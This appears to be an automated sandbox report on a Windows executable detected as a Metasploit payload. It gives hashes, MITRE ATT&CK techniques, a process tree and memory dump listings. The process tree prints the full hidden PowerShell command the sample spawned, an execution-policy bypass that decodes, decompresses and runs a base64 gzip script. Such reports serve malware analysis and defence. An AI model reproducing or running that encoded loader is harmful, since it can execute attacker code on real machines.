metasploit | 0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee83

General

Target

334a10500feb0f3444bf2e86ab2e76da.exe
Size

1.5MB
MD5

334a10500feb0f3444bf2e86ab2e76da
SHA1

c6a97b63fbd970984b95ae79a2b2aef5749ee463
SHA256

0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee83
SHA512

9c85eff62ef12564f02735c58b64c581da7107cd250829ce88cc569c5def675d76da3b538a4a394aa2747c375fe683d629e552c3c279d35d6db8484467a530de
SSDEEP

24576:913gJnNiQQSA7Ph8NKvKUWq8U5EDvLJPjraFLR5ROWgNcEDvLJPjraFLR5ROx:9WjrHKvKUYPjrkp7gRjrkpO

Score

10^/10

metasploit backdoor discovery execution trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2992	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	334a10500feb0f3444bf2e86ab2e76da.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2992	powershell.exe
2992	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2992	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 5052 wrote to memory of 2992	5052	334a10500feb0f3444bf2e86ab2e76da.exe	82
PID 5052 wrote to memory of 2992	5052	334a10500feb0f3444bf2e86ab2e76da.exe	82
PID 5052 wrote to memory of 2992	5052	334a10500feb0f3444bf2e86ab2e76da.exe	82

C:\Users\Admin\AppData\Local\Temp\334a10500feb0f3444bf2e86ab2e76da.exe
"C:\Users\Admin\AppData\Local\Temp\334a10500feb0f3444bf2e86ab2e76da.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5052
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIAOW/UWECA51W227jNhB991cMXHUtIRbhdbdAESCLepVsGyDdNVZu82AYCE2NYzUyqZKUL0j87yUlypLjBNtUL7aGczlz5kL9AGOxQbkoOIRwK1OtkcN8B5/Mz6SQHCW8g0u6RvidymTX6RhNplPB4TfU4S3OWZYi19B57IB5vA2DC/iCm/Dr/G9kGsLJLscvdIVGqInRj0r9Wpn8qfASF7TIdCQxMScpzZRx4WlZ4EFrLMV2R55pGHlLUut29g3EvE6t8wjl+ZhKuvKr/9NYy5Tfz7xIrFaUJ/1jaawyJvgz4aXY8EzQpJQGzqcUDJUCR8BKJEWGFuCvfgCVSroAvw4DIf4D3XnKk25QHlZ2pW2WKkO/ofzChNyZ/ytiWYsFe0CtyITlN05j9suHDz+dGhKlqdQ2rotcnroSXbT0Roxhro3Dqhx+BWX/GlyJa5QKTxEfXLdK/hLyaOwCdeeCF2pImJC5kFRj+U7zPEsZtUUjmWA06/Ztgg5Vp2JWaYl0ZdOoohLTgXEpM/Ab4FXhKty2ibquTi3USmVx7ewV4MgKMww7Eteqvovf9xam27DvP3oT430PIVUwPbL5hiuhMUKp04XNCv+iWZqU2UU0y+aUPcyC4AU4ZFTope1nazRSb6QsaJW84arJtU3mdL7TOJ3NPPtrm3VAyHBgnqcfHwd7xzfypD72pxq3miBnIrGTcH4+iqPr68DW4JPV8bu3pqXFRlX7JF5iloEsODfaYBgqlGnrLpyBh3x9bt+4XQpnRmaKdThgYpUXujm845HIdzK9X2rwowCGg/c/wx8pk0KJhYbIUWJJgJGNaDUVSDQB1piQO37HXdc6Tohdcug32fUH/eaF3CC/18t2P9Uz3+6ok4Z6G1XTsxncGJeWG7cvyAHn27HWVp+FvKJsaTBXTiHlh33UaDWw7eMfrfGA1NlWG6/2FDxd87V4wPBqmxtuleH74GV/PKRvYqI3jqFn6lyiuBFVOwdkTPXSSHsfe/+7dJtlmqHve2k5A5X5N6SJX3V8HwZ98I7sAgg5wuCktlcWPiYTk8prV5tbHFaFlCleuZQbL2b8qYXS8ub2V0lznQ54afCsrcy2sFyeFADCekVXzocf372HJ/ha6LDyCo6KI1dDKAmpHRuSv1MC6DVOthaIh1IKOR3MjoK1UJfnhGVIpR+8hOCi/WIGf9s5naT/1D6Nm++OTrtVTgantvmcFWp5uLXdGnSXTZQJhS6f5h6Ntcjry9N8eXQOXxyH4rirE0J3L9kF8i/mtl93dQkAAA=='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2992

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_01wy0mpf.muy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2992-6-0x0000000005230000-0x0000000005858000-memory.dmp

Filesize
6.2MB

Download
memory/2992-20-0x0000000005EB0000-0x0000000005ECE000-memory.dmp

Filesize
120KB

Download
memory/2992-5-0x00000000733F0000-0x0000000073BA0000-memory.dmp

Filesize
7.7MB

Download
memory/2992-29-0x00000000733F0000-0x0000000073BA0000-memory.dmp

Filesize
7.7MB

Download
memory/2992-7-0x0000000005040000-0x0000000005062000-memory.dmp

Filesize
136KB

Download
memory/2992-8-0x00000000050E0000-0x0000000005146000-memory.dmp

Filesize
408KB

Download
memory/2992-9-0x0000000005150000-0x00000000051B6000-memory.dmp

Filesize
408KB

Download
memory/2992-3-0x00000000733FE000-0x00000000733FF000-memory.dmp

Filesize
4KB

Download
memory/2992-4-0x0000000004A20000-0x0000000004A56000-memory.dmp

Filesize
216KB

Download
memory/2992-19-0x00000000058E0000-0x0000000005C34000-memory.dmp

Filesize
3.3MB

Download
memory/2992-21-0x0000000005F60000-0x0000000005FAC000-memory.dmp

Filesize
304KB

Download
memory/2992-22-0x00000000077F0000-0x0000000007E6A000-memory.dmp

Filesize
6.5MB

Download
memory/2992-23-0x00000000063D0000-0x00000000063EA000-memory.dmp

Filesize
104KB

Download
memory/2992-24-0x00000000072B0000-0x0000000007346000-memory.dmp

Filesize
600KB

Download
memory/2992-25-0x00000000070F0000-0x0000000007112000-memory.dmp

Filesize
136KB

Download
memory/2992-26-0x0000000008420000-0x00000000089C4000-memory.dmp

Filesize
5.6MB

Download
memory/5052-0-0x0000000000400000-0x0000000000580A04-memory.dmp

Filesize
1.5MB

Download
memory/5052-30-0x0000000000400000-0x0000000000580A04-memory.dmp

Filesize
1.5MB

Download

Analysis

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